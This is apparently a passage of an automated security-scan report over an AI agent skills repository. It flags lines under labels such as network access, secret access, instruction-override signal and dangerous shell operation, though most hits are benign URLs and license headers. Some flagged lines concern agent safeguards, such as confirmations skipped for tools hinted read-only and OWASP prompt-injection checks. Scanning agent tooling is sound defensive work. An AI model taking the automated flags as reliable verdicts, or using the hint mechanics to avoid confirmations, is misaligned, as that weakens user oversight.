    **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 412
    - [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 413
    - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 423
    - [Playwright MCP](https://github.com/microsoft/playwright-mcp)

harness/claude-code/skills/web-design-reviewer/references/framework-fixes.md

  • Network accessline 472
    // Use Chrome DevTools Lighthouse or axe DevTools // Or check at the following site: // https://webaim.org/resources/contrastchecker/
  • Network accessline 474
    // https://webaim.org/resources/contrastchecker/

harness/claude-code/skills/webapp-testing/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/webapp-testing/SKILL.md

  • Network accessline 68
    browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode     page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready
  • Network accessline 69
    page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready     page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute
  • Network accessline 70
    page.goto('http://localhost:5173') # Server already running and ready

harness/claude-code/skills/webapp-testing/examples/console_logging.py

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    url = 'http://localhost:5173'  # Replace with your URL

harness/claude-code/skills/webapp-testing/examples/element_discovery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    page.goto('http://localhost:5173')

harness/claude-code/skills/webapp-testing/examples/static_html_automation.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/webapp-testing/scripts/with_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    while time.time() - start_time < timeout:         try:             with socket.create_connection(('localhost', port), timeout=1):
  • Network accessline 27
    try:             with socket.create_connection(('localhost', port), timeout=1):                 return True
  • Network accessline 28
    with socket.create_connection(('localhost', port), timeout=1):

harness/claude-code/skills/webmcpify/SKILL.md

  • Network accessline 9
    license: MIT metadata:   source: "https://github.com/TueJon/webmcpify"
  • Network accessline 10
    metadata:   source: "https://github.com/TueJon/webmcpify" ---
  • Network accessline 11
    source: "https://github.com/TueJon/webmcpify"
  • Network accessline 41
    - WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/
  • Network accessline 85
    "typescript": true,     "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",
  • Network accessline 86
    "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",     "startCommand": "npm run dev",
  • Network accessline 87
    "baseUrl": "http://localhost:5173",
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 208
    - [WebMCP draft](https://webmachinelearning.github.io/webmcp/)
  • Network accessline 209
    - [webmcpify source](https://github.com/TueJon/webmcpify)

harness/claude-code/skills/webmcpify/references/heal.md

  • Network accessline 51
    if (process.env.WEBMCP_LIVE_MUTATIONS === '1') {   await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {
  • Network accessline 52
    await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {       headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
  • Network accessline 53
    const response = await context.request.fetch(route.request(), {
  • Network accessline 54
    headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin

harness/claude-code/skills/webmcpify/references/inventory.md

  • Instruction override signalline 45
    *Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools
  • Instruction override signalline 46
    classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads.
  • Instruction override signalline 47
    they change UI state, and agents skip confirmations for hinted-read-only tools.

harness/claude-code/skills/webmcpify/references/runtime.md

  • Network accessline 27
    | `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: 
  • Network accessline 28
    | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa
  • Network accessline 29
    | `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit

harness/claude-code/skills/webmcpify/references/security.md

  • Instruction override signalline 48
    consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake).
  • Instruction override signalline 49
    - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or

harness/claude-code/skills/webmcpify/references/verify.md

  • Network accessline 100
    }); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 101
    EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test
  • Network accessline 102
    WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 112
    **Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
  • Network accessline 113
    (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses

harness/claude-code/skills/webmcpify/templates/webmcp-jsx.d.ts

  • Network accessline 1
    /**  * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify  *
  • Network accessline 3
    * https://github.com/TueJon/webmcpify
  • Network accessline 25
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 26
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 27
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE

harness/claude-code/skills/webmcpify/templates/webmcp.d.ts

  • Network accessline 1
    /**  * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 27
    *  * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 28
    * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only  * extension not yet in the draft. This API is in flux — re-check against the
  • Network accessline 29
    * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 30
    * extension not yet in the draft. This API is in flux — re-check against the  * draft and https://developer.chrome.com/docs/ai/webmcp when updating.  *
  • Network accessline 31
    * draft and https://developer.chrome.com/docs/ai/webmcp when updating.

harness/claude-code/skills/webmcpify/templates/webmcp.spec.ts

  • Network accessline 1
    /**  * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 42
    const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';

harness/claude-code/skills/webmcpify/templates/webmcpify.js

  • Network accessline 1
    /**  * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 139
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 140
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 141
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/claude-code/skills/webmcpify/templates/webmcpify.ts

  • Network accessline 1
    /**  * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 165
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 166
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 167
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/claude-code/skills/winmd-api-search/SKILL.md

  • Network accessline 33
    - **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
  • Network accessline 118
    | Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 119
    |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type
  • Network accessline 120
    | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 121
    | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` |
  • Network accessline 123
    For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 124
    `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 231
    - [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces
  • Network accessline 232
    - [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces

harness/claude-code/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/winmd-api-search/scripts/Update-WinMdCache.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 127
    if (-not $bestMajor) {         Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"
  • Network accessline 128
    Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"

harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json

  • Network accessline 21
    ],         "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 22
    "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}         },
  • Network accessline 23
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />

harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json

  • Network accessline 2117
    ],       "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 2118
    "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}       },
  • Network accessline 2119
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/claude-code/skills/write-coding-standards-from-file/SKILL.md

  • Network accessline 77
    Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${
  • Network accessline 98
    | Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 99
    | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 100
    | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 101
    | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 102
    | C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` |
  • Network accessline 103
    | Go Style Guide | `https://github.com/golang-standards/project-layout` |
  • Network accessline 104
    | Java Style Guide | `https://coderanch.com/wiki/718799/Style` |
  • Network accessline 105
    | AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` |
  • Network accessline 106
    | jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` |
  • Network accessline 107
    | JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` |
  • Network accessline 108
    | JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` |
  • Network accessline 109
    | Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` |
  • Network accessline 110
    | Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` |
  • Network accessline 111
    | Perl Style Guide | `https://perldoc.perl.org/perlstyle` |
  • Network accessline 112
    | PHP Style Guide | `https://phptherightway.com/` |
  • Network accessline 113
    | Python Style Guide | `https://peps.python.org/pep-0008/` |
  • Network accessline 114
    | Ruby Style Guide | `https://rubystyle.guide/` |
  • Network accessline 115
    | Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` |
  • Network accessline 116
    | Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` |
  • Network accessline 117
    | TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` |
  • Network accessline 118
    | Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` |
  • Network accessline 119
    | Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` |
  • Network accessline 120
    | Git Usage Style Guide | `https://github.com/agis/git-style-guide` |
  • Network accessline 121
    | PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` |
  • Network accessline 122
    | CSS | `https://cssguidelin.es/` |
  • Network accessline 123
    | Sass Style Guide | `https://sass-guidelin.es/` |
  • Network accessline 124
    | HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` |
  • Network accessline 125
    | Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` |
  • Network accessline 126
    | Node.js Style Guide | `https://github.com/felixge/node-style-guide` |
  • Network accessline 127
    | SQL Style Guide | `https://www.sqlstyle.guide/` |
  • Network accessline 128
    | Angular Style Guide | `https://angular.dev/style-guide` |
  • Network accessline 129
    | Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` |
  • Network accessline 130
    | Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` |
  • Network accessline 131
    | SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` |
  • Network accessline 273
    - [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html)
  • Network accessline 274
    - [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions)
  • Network accessline 275
    - [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines)
  • Network accessline 276
    - [Go Style Guide](https://github.com/golang-standards/project-layout)
  • Network accessline 277
    - [Java Style Guide](https://coderanch.com/wiki/718799/Style)
  • Network accessline 278
    - [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide)
  • Network accessline 279
    - [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/)
  • Network accessline 280
    - [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp)
  • Network accessline 281
    - [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml)
  • Network accessline 282
    - [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 283
    - [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/)
  • Network accessline 284
    - [Perl Style Guide](https://perldoc.perl.org/perlstyle)
  • Network accessline 285
    - [PHP Style Guide](https://phptherightway.com/)
  • Network accessline 286
    - [Python Style Guide](https://peps.python.org/pep-0008/)
  • Network accessline 287
    - [Ruby Style Guide](https://rubystyle.guide/)
  • Network accessline 288
    - [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src)
  • Network accessline 289
    - [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/)
  • Network accessline 290
    - [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html)
  • Network accessline 291
    - [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards)
  • Network accessline 292
    - [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html)
  • Network accessline 293
    - [Git Usage Style Guide](https://github.com/agis/git-style-guide)
  • Network accessline 294
    - [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle)
  • Network accessline 295
    - [CSS](https://cssguidelin.es/)
  • Network accessline 296
    - [Sass Style Guide](https://sass-guidelin.es/)
  • Network accessline 297
    - [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide)
  • Network accessline 298
    - [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html)
  • Network accessline 299
    - [Node.js Style Guide](https://github.com/felixge/node-style-guide)
  • Network accessline 300
    - [SQL Style Guide](https://www.sqlstyle.guide/)
  • Network accessline 301
    - [Angular Style Guide](https://angular.dev/style-guide)
  • Network accessline 302
    - [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html)
  • Network accessline 303
    - [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/)
  • Network accessline 304
    - [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)

harness/claude-code/skills/x-twitter-scraper/SKILL.md

  • Network accessline 29
    | Source | URL | | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview |
  • Network accessline 30
    | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | | SDK index | https://docs.xquik.com/sdks |
  • Network accessline 31
    | REST API docs | https://docs.xquik.com/api-reference/overview |
  • Network accessline 32
    | SDK index | https://docs.xquik.com/sdks |
  • Network accessline 33
    | OpenAPI spec | https://xquik.com/openapi.json |
  • Network accessline 34
    | MCP server docs | https://docs.xquik.com/mcp/overview |
  • Network accessline 35
    | Skill repo | https://github.com/Xquik-dev/x-twitter-scraper |
  • Network accessline 36
    | TweetClaw OpenClaw plugin | https://github.com/Xquik-dev/tweetclaw |
  • Network accessline 37
    | TweetClaw npm metadata | https://registry.npmjs.org/@xquik%2Ftweetclaw |
  • Network accessline 38
    | X Tweet Scraper Actor | https://apify.com/xquik/x-tweet-scraper |
  • Network accessline 39
    | X Follower Scraper Actor | https://apify.com/xquik/x-follower-scraper |
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 79
    [Credential-related source omitted]
  • Network accessline 134
    - [REST API docs](https://docs.xquik.com/api-reference/overview)
  • Network accessline 135
    - [SDK index](https://docs.xquik.com/sdks)
  • Network accessline 136
    - [OpenAPI spec](https://xquik.com/openapi.json)
  • Network accessline 137
    - [MCP server docs](https://docs.xquik.com/mcp/overview)
  • Network accessline 138
    - [Skill repo](https://github.com/Xquik-dev/x-twitter-scraper)
  • Network accessline 139
    - [TweetClaw OpenClaw plugin](https://github.com/Xquik-dev/tweetclaw)
  • Network accessline 140
    - [TweetClaw npm registry metadata](https://registry.npmjs.org/@xquik%2Ftweetclaw)
  • Network accessline 141
    - [X Tweet Scraper Actor](https://apify.com/xquik/x-tweet-scraper)
  • Network accessline 142
    - [X Follower Scraper Actor](https://apify.com/xquik/x-follower-scraper)
  • Network accessline 143
    - [Tweet Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-tweet-scraper/runs)
  • Network accessline 144
    - [Follower Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-follower-scraper/runs)

harness/github-copilot/plugins/acreadiness-cockpit/skills/acreadiness-assess/report-template.html

  • Network accessline 222
    <footer>     Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 223
    Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 224
    · powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.

harness/github-copilot/plugins/agent-governance/skills/agent-governance/SKILL.md

  • Network accessline 151
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 152
    - [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 153
    - [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)

harness/github-copilot/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md

  • Dangerous shell operationline 55
    | ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex
  • Dangerous shell operationline 56
    | ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with
  • Network accessline 134
    - [OWASP Agentic AI Threats](https://genai.owasp.org/)
  • Network accessline 135
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 136
    - [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)

harness/github-copilot/plugins/agent-governance/skills/agent-supply-chain/SKILL.md

  • Network accessline 178
    - [OpenSSF SLSA](https://slsa.dev/)
  • Network accessline 179
    - [npm Provenance](https://docs.npmjs.com/generating-provenance-statements)
  • Network accessline 180
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 181
    - [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)

harness/github-copilot/plugins/application-security/skills/codeql/SKILL.md

  • Network accessline 22
    - Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from 
  • Network accessline 24
    - Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI.
  • Network accessline 237
    - [CodeQL Action releases](https://github.com/github/codeql-action/releases)

harness/github-copilot/plugins/application-security/skills/codeql/references/cli-commands.md

  • Network accessline 9
    Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
  • Network accessline 10
    [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)

harness/github-copilot/plugins/application-security/skills/codeql/references/compiled-languages.md

  • Dangerous shell operationline 52
    - **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.

harness/github-copilot/plugins/application-security/skills/codeql/references/sarif-output.md

  • Network accessline 9
    - Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 10
    - Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json)
  • Network accessline 258
    Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).

harness/github-copilot/plugins/application-security/skills/codeql/references/troubleshooting.md

  • Network accessline 241
    **Solutions:** - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)
  • Network accessline 242
    - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/SKILL.md

  • Network accessline 24
    > **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the
  • Network accessline 321
    - [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)

harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/SOURCES.md

  • Network accessline 11
    ### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 12
    - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica
  • Network accessline 13
    - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 17
    ### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 18
    - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se
  • Network accessline 19
    - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 23
    ### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi
  • Network accessline 24
    - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide
  • Network accessline 25
    - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html
  • Network accessline 33
    **Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 34
    **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 48
    | €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea
  • Network accessline 49
    | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | 
  • Network accessline 50
    | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry |
  • Network accessline 51
